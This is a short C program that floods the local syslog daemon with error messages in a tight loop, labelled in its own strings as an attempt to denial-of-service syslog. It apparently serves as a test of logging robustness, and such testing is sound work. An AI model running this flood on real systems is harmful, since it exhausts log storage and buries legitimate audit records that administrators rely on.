#include <syslog.h>
#include <time.h>

int main(int argc, char * argv[]) {
    int rc;
    
    struct timespec tv = { .tv_nsec = 5000 };
    
    openlog("DoS Attempt", 0, LOG_DAEMON);

    while(!(rc = nanosleep(&tv, NULL))) {
        syslog(LOG_ERR, "This is a nasty attempt to DoS syslog\n");
    }

    if(rc) {
        perror("nanosleep");
    }
}